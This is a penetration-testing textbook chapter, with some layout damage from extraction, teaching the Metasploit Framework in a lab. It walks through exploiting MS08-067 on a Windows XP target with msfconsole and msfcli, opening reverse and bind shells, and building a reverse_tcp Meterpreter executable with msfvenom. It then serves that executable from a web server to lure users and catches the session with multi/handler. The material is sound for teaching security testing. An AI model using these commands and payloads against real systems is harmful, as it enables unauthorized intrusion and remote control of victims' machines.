Whether we develop an exploit from scratch or use a public one as a base, we will still need to get that exploit to work on your pentest. Our time will probably be better spent on tasks that are difficult to automate, and luckily, we can use Metasploit to make exploiting known vulnerabilities such as MS08-067 quick and painless.

Starting Metasploit
Let’s start Metasploit and attack our first system. In Kali Linux, Meta­ ploit s is in our path, so we can start it anywhere on the system. But before you start Metasploit, you will want to start the PostgreSQL database, which
Metasploit will use to track what you do. root@kali:~# service postgresql start

Now you’re ready to start the Metasploit service. This command ­ reates c a PostgreSQL user called msf3 and a corresponding database to store our data. It also starts Metasploit’s remote procedure call (RPC) server and web server. root@kali:~# service metasploit start

88 Chapter 4

There are multiple interfaces for using Metasploit. In this chapter we’ll use Msfconsole, the Metasploit text-based console, and Msfcli, the command line interface. Either interface can be used to run Metasploit modules, though I tend to spend most of my time in Msfconsole. Start the console by entering msfconsole. root@kali:~# msfconsole

Don’t be alarmed if Msfconsole appears to hang for a minute or two; it’s loading the Metasploit module tree on the fly. Once it’s finished, you’ll be greeted by some clever ASCII art, a version listing and other details, and an msf > prompt (see Listing 4-1).
,
,
/
\
((__---,,,---__))
(_) O O (_)_________
\ _ /
|\
o_o \
M S F
| \
\
_____ | *
|||
WW|||
|||
|||

Large pentest? List, sort, group, tag and search your hosts and services in Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops msf >
Listing 4-1: Starting Msfconsole

Notice in Listing 4-1 that, as of this writing, Metasploit had 1,246 exploits,
678 auxiliary modules, and so forth. No doubt by the time you read this, these numbers will be even larger. New modules are always being added to
Metasploit, and because Metasploit is a community-driven project, anyone can submit modules for inclusion in the Metasploit Framework. (In fact, in
Chapter 19, you’ll learn how to write your own modules and gain immortality as a Metasploit author.)
If you’re ever stuck when using Msfconsole, enter help for a list of available commands and a description of what they do. For more detailed information about a specific command, including usage, enter help <command name>.
For example, the help information for using Metasploit’s route command is shown in Listing 4-2.

Using the Metasploit Framework

89

msf > help route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local...
Listing 4-2: Help information in Metasploit

Finding Metasploit Modules
Let’s look at how we might use Metasploit to exploit an unpatched vulnerability in our Windows XP target. We will exploit the vulnerability patched in Microsoft Security Bulletin MS08-067. A natural question you may have is, how do we know this patch is missing on our Windows XP target? In subsequent chapters, we will walk through the steps of discovering this vulnerability as well as several others on our target systems. For now, just trust me that this is the vulnerability we would like to exploit.
MS08-067 patched an issue in the netapi32.dll that could allow attackers to use a specially crafted remote procedure call request via the Server
Message Block (SMB) service to take over a target system. This vulnerability is particularly dangerous because it does not require an attacker to authenticate to the target machine before running the attack. MS08-067 gained eternal infamy as the vulnerability exploited by the Conficker worm, which was widely reported in the media.
Now, if you’re familiar with Microsoft patches, you may recognize that this one is from 2008. Considering its age, you may be surprised to learn how often the vulnerability it patched can still lead to success in penetration testing, even today, particularly when assessing internal networks.
Metasploit’s MS08-067 module is simple to use and has a high success rate, making it an ideal first example. Our first step in using Metasploit is to find a module that exploits this particular vulnerability. We have a few options.
Usually, a simple Google search will find what you need, but Metasploit also has an online database of modules (http://www.rapid7.com/db/modules/) and a built-in search function that you can use to search for the correct modules. The Module Database
You can use the Metasploit search page to match Metasploit modules to v ­ ulnerabilities by Common Vulnerabilities and Exposures (CVE) number, Open Sourced Vulnerability Database (OSVDB) ID, Bugtraq ID, or
Microsoft Security Bulletin, or you can search the full text of the module information for a string. Search for MS08-067 in the Microsoft Security
Bulletin ID field, as shown in Figure 4-1.

90 Chapter 4

Figure 4-1: Searching the Metasploit Auxiliary Module & Exploit Database

The results of the search, shown in Figure 4-2, tell us the module name we need as well as information about the module (which we’ll discuss in the next section).

Figure 4-2: MS08-067 Metasploit module page

The full name of the Metasploit module for the MS08-067 security b ­ ulletin is shown in the URI bar. In the modules directory of Metasploit, this exploit is exploit/windows/smb/ms08_067_netapi.

Built-In Search
You can also use Metasploit’s built-in search function to find the correct module name, as shown in Listing 4-3.

Using the Metasploit Framework

91

msf > search ms08-067
Matching Modules
================
Name
---exploit/windows/smb/ms08_067_netapi

Disclosure Date
--------------2008-10-28 00:00:00 UTC

Rank
---great

Description
----------Microsoft Server
Service Relative Path
Stack Corruption

Listing 4-3: Searching for a Metasploit module

Again we find that the correct module name for this vulnerability is exploit/windows/smb/ms08_067_netapi. Once you’ve identified a module to use, enter the info command with the module name, as shown in
Listing 4-4. msf > info exploit/windows/smb/ms08_067_netapi uName: vModule:
Version:
wPlatform: xPrivileged: License: yRank: Microsoft Server Service Relative Path Stack Corruption exploit/windows/smb/ms08_067_netapi 0
Windows
Yes
Metasploit Framework License (BSD)
Great

z Available targets:
Id Name
-- ---0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
--snip-67 Windows 2003 SP2 Spanish (NX)
{ Basic options:
Name
Current Setting
-----------------RHOST
RPORT
445
SMBPIPE BROWSER

Required
-------yes
yes yes Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)

| Payload information:
Space: 400
Avoid: 8 characters
} Description:
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP

92 Chapter 4

targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.
~ References: http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx Listing 4-4: Information listing in Metasploit

This info page tells us a lot.
•

•
•

•

•

•

•

•
•

First we see some basic information about the module, including a descriptive name at u followed by the module name at v. (The version field formerly denoted the SVN revision for the module, but now that
Metasploit is hosted on GitHub, all modules are set to version 0.)
Platform w tells us that this exploit is for Windows systems.
Privileged x tells us whether this module requires or grants high privileges on the target. The License is set to Metasploit Framework License
(BSD). (Metasploit’s license is a three-clause BSD open source license.)
Rank y lists the exploit’s potential impact on the target. Exploits are ranked from manual to excellent. An exploit ranked excellent should never crash a service; memory-corruption vulnerabilities such as
MS08-067 are usually not in this category. Our module is in the great category, one step down. A great exploit can automatically detect the correct target and has other features that make it more likely to succeed. Available targets z lists operating system versions and patch levels that the module can exploit. This module has 67 possible targets, including
Windows 2000, Windows 2003, and Windows XP, as well as multiple service and language packs.
Basic options { lists various options for the module that can be set to make a module better meet our needs. For example, the RHOST option tells Metasploit the IP address of the target. (We’ll discuss the basic options in depth in “Setting Module Options” on page 94.)
Payload information | contains information to help Metasploit decide which payloads it can use with this exploit. Payloads, or shellcode, tell the exploited system what to do on behalf of the attacker. (The goal of attacking a target is, of course, to get it to do something on our behalf that it isn’t supposed to do.) Metasploit’s payload system gives us many options for what to make the target do.
Description } includes more details about the particular vulnerability that the module exploits.
References ~ contains a link to online vulnerability database entries. If you’re ever in doubt about which Metasploit module to use for a vulnerability, start with its info page.

Using the Metasploit Framework

93

Having confirmed that this is the right module, tell Metasploit to use this module with the command use windows/smb/ms08_067_netapi. You can drop the exploit/ part of the exploit name; Metasploit will figure out what you want. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

Now we’re in the context of the exploit module.

Setting Module Options
Having chosen our exploit, we need to give Metasploit some information. As you’ll see throughout this book, Metasploit can aid you in many aspects of penetration testing, but it isn’t a mind reader . . . yet. To see the information Metasploit needs from you to run your chosen module, enter show options (Listing 4-5). msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Name
---uRHOST vRPORT wSMBPIPE

Current Setting Required Description
--------------- -------- ----------yes
The target address
445
yes
Set the SMB service port
BROWSER
yes
The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name
-- ---x0 Automatic Targeting

msf

exploit(ms08_067_netapi) >

Listing 4-5: Exploit module options

At the top of the output shown in Listing 4-5 are the module settings and any default values, whether certain settings are required for the module to run successfully, and a description of each setting.

RHOST
The RHOST option u refers to the remote host we want to exploit. This option is required because it gives Metasploit a target to attack. We’ll tell Metasploit to exploit the Windows XP target machine that we set up in Chapter 1 by changing the RHOST option from blank to our target IP address. (If you can’t remember what that is, on the Windows XP machine
94 Chapter 4

run ipconfig at the command line to find out.) To set an option enter set
<option to set> <value to set it to>, so in this case, set RHOST 192.168.20.10.
(Remember to use your own Windows XP target’s IP address.) After issuing this command, running show options again should show that the value of
RHOST is set to 192.168.20.10.

RPORT
RPORT v refers to the remote port to attack. I remember a former manager

of mine who spent a good amount of time looking for port 80—as in trying to locate it physically. Unsatisfied with my explanation that networking sockets are made entirely of code, I eventually just pointed at the Ethernet port. The moral of this story is this: A port is just a network socket; it’s not a physical port. For example, when you browse to www.google.com, a web server somewhere on the Internet is listening on port 80.
In this case we see that RPORT is set to a default value. Because our exploit uses the Windows SMB service, the RPORT value should probably be 445, the default port for SMB. And, as you can see, Metasploit saves us the trouble of having to set the value by setting the default to 445 (which you can change if you need to). In our case, we can just leave it alone.

SMBPIPE
Like the RPORT value, keep the default for the SMBPIPE option w as BROWSER.
This will work just fine for our purposes. (SMB pipes allow us to talk to
Windows interprocess communication over a network. We’ll look at finding out which SMB pipes are listening on our target machines later in this chapter.) Exploit Target
The Exploit Target is set to 0 Automatic Targeting x. This is the target operating system and version. You can view the available targets on the module’s info page or just show them with the command show targets (Listing 4-6). exploit(ms08_067_netapi) > show targets

msf

Exploit targets:
Id Name
-- ---0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
3
Windows XP SP2 English (AlwaysOn NX)
4
Windows XP SP2 English (NX)
5
Windows XP SP3 English (AlwaysOn NX)
--snip-67 Windows 2003 SP2 Spanish (NX)
Listing 4-6: Exploit targets
Using the Metasploit Framework

95

As you can see in Listing 4-6, this module can attack Windows 2000,
Windows 2003, and Windows XP.
Note

Remember, Microsoft has released patches for all the platforms affected by this bug, but keeping all systems in an environment up-to-date with Windows patches is easier said than done. Many of your pentesting clients will be missing some critical updates in Windows and other software.
We know that our target is running Windows XP SP3 English, so we can wager that the correct target number is either 5 or 6, but it won’t always be so easy. Choose Automatic Targeting to tell Metasploit to fingerprint the SMB service and choose the appropriate target based on the results.
To set a target option, enter set target <target number>. In this case we’ll leave the module target at the default Automatic Targeting and move on.

Payloads (or Shellcode)
Based on the output of show options command, it looks like everything should be ready to go at this point, but we’re not quite done yet. We’ve forgotten to tell our exploit what to do once the target has been exploited. One of the ways that Metasploit makes things easier is by setting up our payloads for us.
Metasploit has a plethora of payloads, ranging from simple Windows commands to the extensible Metasploit Meterpreter (see Chapter 13 for more detailed information on Meterpreter). Just select a compatible payload, and
Metasploit will craft your exploit string, including the code to trigger the vulnerability and the payload to run after exploitation is successful. (We’ll look at writing exploits by hand in Chapters 16 through 19.)

Finding Compatible Payloads
As of this writing there were 324 payloads in Metasploit, and like exploit modules, new payloads are added to the Framework regularly. For instance, as mobile platforms take over the world, payloads for iOS and other smartphones are starting to show up in Metasploit. But, of course, not all 324 payloads are compatible with our chosen exploit. Our Windows system will be a bit confused if it receives instructions that are meant for an iPhone. To see compatible payloads, enter show payloads, as shown in Listing 4-7. msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================
Name
---generic/custom
generic/debug_trap generic/shell_bind_tcp 96 Chapter 4

Disclosure Date Rank
--------------- ---normal normal normal

Description
----------Custom Payload
Generic x86 Debug Trap
Generic Command Shell, Bind TCP
Inline

generic/shell_reverse_tcp generic/tight_loop windows/dllinject/bind_ipv6_tcp windows/dllinject/bind_nonx_tcp windows/dllinject/bind_tcp windows/dllinject/reverse_http --snip-windows/vncinject/reverse_ipv6_http windows/vncinject/reverse_ipv6_tcp --snip-windows/vncinject/reverse_tcp windows/vncinject/reverse_tcp_allports windows/vncinject/reverse_tcp_dns

normal Generic Command Shell, Reverse
Inline
normal Generic x86 Tight Loop normal Reflective DLL Injection, Bind
TCP Stager (IPv6) normal Reflective DLL Injection, Bind
TCP Stager (No NX or Win7) normal Reflective DLL Injection, Bind
TCP Stager normal Reflective DLL Injection, Reverse
HTTP Stager normal VNC Server (Reflective Injection),
Reverse HTTP Stager (IPv6) normal VNC Server (Reflective Injection),
Reverse TCP Stager (IPv6) normal VNC Server (Reflective Injection),
Reverse TCP Stager normal VNC Server (Reflective Injection),
Reverse All-Port TCP Stager normal VNC Server (Reflective Injection),
Reverse TCP Stager (DNS)

Listing 4-7: Compatible payloads

If you forget to set a payload, you may find that, miraculously, the exploit module will just choose the default payload and associated settings and run it anyway. Still, you should get in the habit of manually setting a payload and its options because the default won’t always fit your needs.

A Test Run
Let’s keep things simple and send off our exploit with the default payload options first, just to see how things work. Enter exploit to tell Metasploit to run the module, as shown in Listing 4-8. msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at
2015-08-31 07:37:05 -0400 meterpreter >
Listing 4-8: Running the exploit

Using the Metasploit Framework

97

As you can see, we end up with a Meterpreter session. Meterpreter is short for meta-interpreter, Metasploit’s unique payload. I often describe it as a shell on steroids. It can do everything a command shell can do and much, much more. We’ll cover Meterpreter in depth in Chapter 13, but to get a head start, enter help in the Meterpreter console for a list of Meterpreter’s commands. Note

Another thing to note about the default options is that Metasploit uses the port 4444.
In our lab there is nothing wrong with this. It will work just fine. However, on real engagements, if your client is using even primitive intrusion-prevention software, it may take note of traffic on port 4444 and say, “Hey, you are Metasploit, go away!” and drop your connection.
For now, let’s close our Meterpreter session and learn more about selecting payloads manually. As useful as Meterpreter is, you may find yourself in situations where it is not the ideal payload to meet your needs. Type exit into your Meterpreter prompt to return to the regular Metasploit console. meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. msf exploit(ms08_067_netapi) >

Reason: User exit

Types of Shells
In the list of compatible payloads shown in Listing 4-7, you see a range of options including command shells, Meterpreter, a speech API, or execution of a single Windows command. Meterpreter or otherwise, shells fall into two categories: bind and reverse.

Bind Shells
A bind shell instructs the target machine to open a command shell and listen on a local port. The attack machine then connects to the target machine on the listening port. However, with the advent of firewalls, the effectiveness of bind shells has fallen because any correctly configured firewall will block traffic to some random port like 4444.

Reverse Shells
A reverse shell, on the other hand, actively pushes a connection back to the attack machine rather than waiting for an incoming connection. In this case, on our attack machine we open a local port and listen for a connection from our target because this reverse connection is more likely to make it through a firewall.

98 Chapter 4

Note

You may be thinking, “Was this book written in 2002 or something? My firewall has egress filtering.” Modern firewalls allow you to stop outbound connections as well as inbound ones. It would be trivial to stop a host in your environment from connecting out, for instance, to port 4444. But say I set up my listener on port 80 or port 443.
To a firewall, that will look like web traffic, and you know you have to let your users look at Facebook from their workstations or there would be mutiny and pandemonium on all sides.

Setting a Payload Manually
Let’s select a Windows reverse shell for our payload. Set a payload the same way you set the RHOST option: set payload <payload to use>. msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp payload => windows/shell_reverse_tcp

Because this is a reverse shell, we need to tell the target where to send the shell; specifically, we need to give it the IP address of the attack machine and the port we will listen on. Running show options again, shown in Listing 4-9, displays the module as well as the payload options. exploit(ms08_067_netapi) > show options

msf

Module options (exploit/windows/smb/ms08_067_netapi):
Name
---RHOST
RPORT
SMBPIPE

Current Setting
--------------192.168.20.10
445
BROWSER

Required
-------yes
yes yes Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_reverse_tcp):
Name
---EXITFUNC uLHOST LPORT

Current Setting
--------------thread
4444

Required
-------yes
yes yes Description
----------Exit technique: seh, thread, process, none
The listen address
The listen port

Exploit target:
Id
-0

Name
---Automatic Targeting

Listing 4-9: Module options with a payload

Using the Metasploit Framework

99

LHOST u is our local host on the Kali machine, the IP address we want our target machine to connect back to. To find the IP address (if you have forgotten it), enter the Linux ifconfig command directly into Msfconsole. msf exploit(ms08_067_netapi) > ifconfig
[*] exec: ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:0e:8f:11 inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0

--snip--

Now set the LHOST option with set LHOST 192.168.20.9. Leave the defaults for LPORT, for the local port to connect back to, as well as for EXITFUNC, which tells Metasploit how to exit. Now enter exploit, shown in Listing 4-10, to send our exploit off again, and wait for the shell to appear. msf [*]
[*]
[*]
[*]
[*]
[*]

exploit(ms08_067_netapi) > exploit
Started reverse handler on 192.168.20.9:4444 u
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 3 - lang:English
Selected Target: Windows XP SP3 English (AlwaysOn NX) v
Attempting to trigger the vulnerability...
Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374) at 2015-08-31 10:29:36 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Listing 4-10: Running the exploit

Congratulations: You have successfully exploited your first machine!
Here’s what happened. When we enter exploit, Metasploit opens a listener on port 4444 to catch the reverse shell from the target u. Then, since we kept the target as the default Automatic Targeting, Metasploit finger­ rinted p the remote SMB server and selected the appropriate exploit target for us v.
Once it selected the exploit, Metasploit sent over the exploit string and attempted to take control of the target machine and execute our selected payload. Because the exploit succeeds, a command shell was caught by our handler. To close this shell, type ctrl-C and enter y at the prompt to abort the session. C:\WINDOWS\system32>^C
Abort session 2? [y/N]

y

[*] Command shell session 2 closed. msf exploit(ms08_067_netapi) >

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Reason: User exit

To return to a Meterpreter shell, you can choose a payload with
Meterpreter in the name such as windows/meterpreter/reverse_tcp and exploit the Windows XP target again.

Msfcli
Now for another way to interact with Metasploit: the command line interface, Msfcli. Msfcli is particularly useful when using Metasploit inside scripts and for testing Metasploit modules that you’re developing because it lets you run a module with a quick, one-line command.

Getting Help
To run Msfcli, first exit Msfconsole by entering exit, or just open another
Linux console. Msfcli is in our path, so we can call it from anywhere. Let’s begin by looking at the help menu for Msfcli with msfcli -h (Listing 4-11). root@kali:~# msfcli -h u Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode
Description
-------------(A)dvanced
Show available advanced options for this module
(AC)tions
Show available actions for this auxiliary module
(C)heck
Run the check routine of the selected module
(E)xecute
Execute the selected module
(H)elp
You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module v(O)ptions Show available options for this module w(P)ayloads Show available payloads for this module
(S)ummary
Show information about this module
(T)argets
Show available targets for this exploit module
Listing 4-11: Msfcli help

Unlike with Msfconsole, when using Msfcli, we can tell Metasploit everything it needs to know to run our exploit in just one command u. Luckily,
Msfcli has some modes to help us build the final command. For example, the O mode v shows the selected module’s options, and P shows the compatible payloads w.

Showing Options
Let’s use our MS08-067 exploit against our Windows XP target again.
According to the help page, we need to pass Msfcli the exploit name we want to use and set all our options u. To show the available options use the O mode. Enter msfcli windows/smb/ms08_067_netapi O to see the options for the MS08-067 exploit module, as shown in Listing 4-12.

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root@kali:~# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name
---RHOST
RPORT
SMBPIPE

Current Setting
--------------445
BROWSER

Required
-------yes
yes yes Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)

Listing 4-12: Module options

We see the same options as we did in Msfconsole. We’re reminded to set the RHOST option to the IP address of the target machine, but as we saw on the help page, setting options in Msfcli is a little different from doing do in Msfconsole. Here we say option=value. For example, to set RHOST, we enter
RHOST=192.168.20.10.

Payloads
For a reminder of the payloads compatible with this module, use the P mode.
Try msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P, as shown in
Listing 4-13. root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name
---generic/custom
generic/debug_trap generic/shell_bind_tcp generic/shell_reverse_tcp generic/tight_loop --snip--

Description
----------Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.
Generate a debug trap in the target process
Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Generate a tight loop in the target process

Listing 4-13: Module payloads in Msfcli

This time, we’ll use a bind shell payload. Recall that a bind shell just listens on a local port on the target machine. It will be up to our attack machine to connect to the target machine after the payload has run. Recall from our work in Msfconsole that choosing a payload requires additional payload-specific options, which we can view again with the O flag.
Because our bind shell won’t be calling back to our attack machine, we don’t need to set the LHOST option, and we can leave the LPORT option as the

102 Chapter 4

default of 4444 for now. It looks like we have everything we need to exploit the Windows XP target again. Finally, to tell Msfcli to run the exploit we use the E flag (Listing 4-14). root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10
PAYLOAD=windows/shell_bind_tcp E
[*] Please wait while we load the module tree...
RHOST => 192.168.20.10
PAYLOAD => windows/shell_bind_tcp
[*] Started bind handler u
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.20.9:35156 -> 192.168.20.10:4444) at 2015-08-31 16:43:54 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Listing 4-14: Running the exploit in Msfcli

It looks like everything worked, and we got another shell. But this time, instead of starting a reverse handler listening on the specified local port of 4444, Metasploit starts a handler for the bind shell u. After Metasploit sends over the exploit string, the bind handler will automatically connect out to the port specified by the payload and connect to the shell. Once again, we have taken control of the target machine.

Creating Standalone Payloads with Msfvenom
In 2011, Msfvenom was added to Metasploit. Prior to Msfvenom, the tools
Msfpayload and Msfencode could be used together to create standalone encoded Metasploit payloads in a variety of output formats, such as Windows executables and ASP pages. With the introduction of Msfvenom, the functionality of Msfpayload and Msfencode was combined into a single tool, though Msfpayload and Msfencode are still included in Metasploit. To view
Msfvenom’s help page, enter msfvenom -h.
So far with Metasploit, our goal has been to exploit a vulnerability on the target system and take control of the machine. Now we’ll do something a little different. Instead of relying on a missing patch or other security issue, we are hoping to exploit the one security issue that may never be fully patched: the users. Msfvenom allows you to build standalone payloads to run on a target system in an attempt to exploit the user whether through a social-engineering attack (Chapter 11) or by uploading a payload to a vulnerable server, as we’ll see in Chapter 8. When all else fails, the user can often be a way in.
Using the Metasploit Framework

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Choosing a Payload
To list all the available payloads, enter msfvenom -l payloads. We’ll use one of Metasploit’s Meterpreter payloads, windows/meterpreter/reverse_tcp, which provides a reverse connection with a Meterpreter shell. Use -p to select a payload. Setting Options
To see the correct options to use for a module, enter the -o flag after selecting a payload, as shown in Listing 4-15. root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -o
[*] Options for payload/windows/meterpreter/reverse_tcp
Name
---EXITFUNC

Current Setting
--------------process

Required
-------yes

LHOST
LPORT

4444

yes yes Description
----------Exit technique: seh, thread, process, none The listen address
The listen port

Listing 4-15: Options in Msfvenom

As expected, our LHOST needs to be set, and our LPORT is set to the default
4444. For practice, set LPORT to 12345 by entering LPORT=12345. We also see
EXITFUNC, which we can leave as the default. Because this is a reverse connection payload, we need to set our LHOST option to tell the target machine where to connect back to (our Kali machine).

Choosing an Output Format
Now tell Msfvenom which output format to use. Will we be running this payload from a Windows executable, or do we want to make an ASP file that can be uploaded to a web server we have gained write access to? To see all available output formats, enter msfvenom --help-formats. root@kali:~# msfvenom --help-formats
Executable formats asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small, loop-vbs, macho, msi, msi-nouac, psh, psh-net, vba, vba-exe, vbs, war
Transform formats bash, c, csharp, dw, dword, java, js_be, js_le, num, perl, pl, powershell, psl, py, python, raw, rb, ruby, sh, vbapplication, vbscript

To select the output format, use the -f option along with the chosen format: msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe

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But if you run this command as is, you’ll see garbage printed to the console. While this is technically our executable payload, it doesn’t do us much good. Instead, let’s redirect the output to an executable file, chapter4example.exe. root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe
> chapter4example.exe root@kali:~# file chapter4example.exe chapter4example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

There is no output to the screen, but if we run the file command on our newly created executable file, we see that it’s a Windows executable that will run on any Windows system as long as a user attempts to run it. (Later, in Chapter 12, we’ll see cases where antivirus applications stop a Metasploit payload and learn ways we can obfuscate our standalone payloads to bypass antivirus programs. Also, we will cover clever ways to lure users into downloading and running malicious payloads in Chapter 11.)

Serving Payloads
One good way to serve up payloads is to host them on a web server, disguise them as something useful, and lure users into downloading them. For this example, we’ll host our Metasploit executable on our Kali machine’s builtin Apache server and browse to the file from our target machine.
First, run cp chapter4example.exe /var/www to copy the payload executable to the Apache directory, and then make sure the web server is started with service apache2 start. root@kali:~# cp chapter4example.exe /var/www root@kali:~# service apache2 start
Starting web server apache2

[ OK ]

Now switch to your Windows XP target and open Internet Explorer.
Browse to http://192.168.20.9/chapter4example.exe and download the file.
But before we run the file, we have one loose end to deal with.
So far when attempting to exploit our target machine, Metasploit set up our payload handlers and sent the exploit. When we used Msfconsole to exploit the MS08-067 vulnerability with a reverse shell payload, Metasploit first set up a handler listening on port 4444 for the reverse connection, but up to this point we have nothing listening for a reverse connection from the payload we created with Msfvenom.

Using the Multi/Handler Module
Start Msfconsole again, and we’ll look at a Metasploit module called multi/ handler. This module allows us to set up standalone handlers, which is just what we’re lacking. We need a handler to catch our Meterpreter connection when our malicious executable is run from the Windows XP target. Select the multi/handler module with use multi/handler.

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105

The first thing to do is tell multi/handler which of Metasploit’s many handlers we need. We need to catch the windows/meterpreter/reverse_tcp payload we used when we created our executable with Msfvenom. Choose it with set PAYLOAD windows/meterpreter/reverse_tcp, and follow it with show options (Listing 4-16). msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name
----

Current Setting
---------------

Required
--------

Description
-----------

Payload options (windows/meterpreter/reverse_tcp):
Name
---EXITFUNC

Current Setting
--------------process

Required
-------yes

LHOST
LPORT

4444

yes yes Description
----------Exit technique: seh, thread, process, none The listen address
The listen port

--snip-msf exploit(handler) >
Listing 4-16: Options with multi/handler

From here we tell Metasploit which setup we used when we created the payload. We’ll set the LHOST option to our local Kali IP address and the LPORT to the port we chose in Msfvenom, in this case 192.168.20.9 and 12345, respectively. Once all the options for the payload are set correctly, enter exploit, as shown in Listing 4-17. msf exploit(handler) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(handler) > set LPORT 12345
LPORT => 12345 msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:12345
[*] Starting the payload handler...
Listing 4-17: Setting up a handler

As you can see, Metasploit sets up a reverse handler on port 12345 as instructed, listening for a payload to call back.

106 Chapter 4

Now we can switch back to our Windows XP target and run our downloaded executable. Run chapter4example.exe on your Windows target. Back in Msfconsole, you should see that the handler receives the reverse connection, and you receive a Meterpreter session.
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:12345 -> 192.168.20.10:49437) at 2015-09-01 11:20:00 -0400 meterpreter >

Spend some time experimenting with Msfvenom if you like. We’ll return to this useful tool when we attempt to bypass antivirus solutions in Chapter 12.

Using an Auxiliary Module
Metasploit was first conceived as an exploitation framework, and it continues to be a top contender in the world of exploitation. But in the ensuing years, its functionality has grown in about as many directions as there are creative minds working on it. I sometimes quip that Metasploit can do everything except my laundry, and I’m currently working on a module for that.
Dirty socks aside, in addition to exploitation, Metasploit has modules to aid in every phase of pentesting. Some modules that are not used for exploitation are known as auxiliary modules; they include things like vulnerability scanners, fuzzers, and even denial of service modules. (A good rule of thumb to remember is that exploit modules use a payload and auxiliary modules do not.)
For example, when we first used the windows/smb/ms08_067_netapi exploit module earlier in this chapter, one of its options was SMBPIPE. The default value for that option was BROWSER. Let’s look at an auxiliary module that will enumerate the listening pipes on an SMB server, auxiliary/scanner/ smb/pipe_auditor (Listing 4-18). (We use auxiliary modules like exploits, and like exploits we can also drop the auxiliary/ part of the module name.) msf > use scanner/smb/pipe_auditor msf auxiliary(pipe_auditor) > show options
Module options (auxiliary/scanner/smb/pipe_auditor):
Name
---uRHOSTS
SMBDomain
SMBPass
SMBUser
THREADS

Current Setting
--------------WORKGROUP

1

Required
-------yes
no no no yes Description
----------The target address range or CIDR identifier
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as
The number of concurrent threads

Listing 4-18: Options for scanner/smb/pipe_auditor

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107

The options for this module are a bit different from what we’ve seen so far. Instead of RHOST we have RHOSTS u, which allows us to specify more than one remote host to run the module against. (Auxiliaries can be run against multiple hosts, whereas exploits can exploit only one system at a time.)
We also see options for SMBUser, SMBPass, and SMBDomain. Because our
Windows XP target is not part of any domain, we can leave the SMBDomain at the default value, WORKGROUP. We can leave the SMBUser and SMBPass values blank. The THREADS option allows us to control the speed of Metasploit by having our module run in multiple threads. We’re scanning only one system in this case, so the default value of 1 thread will work fine. The only option we need to set is RHOSTS to the IP address of our Windows XP target. msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10
RHOSTS => 192.168.20.10

Even though we aren’t technically exploiting anything in this case, we can still tell Metasploit to run our auxiliary module by entering exploit. msf auxiliary(pipe_auditor) > exploit

[*] 192.168.20.10 - Pipes: \browser u
[*] Scanned 1 of 1 hosts (100% complete)
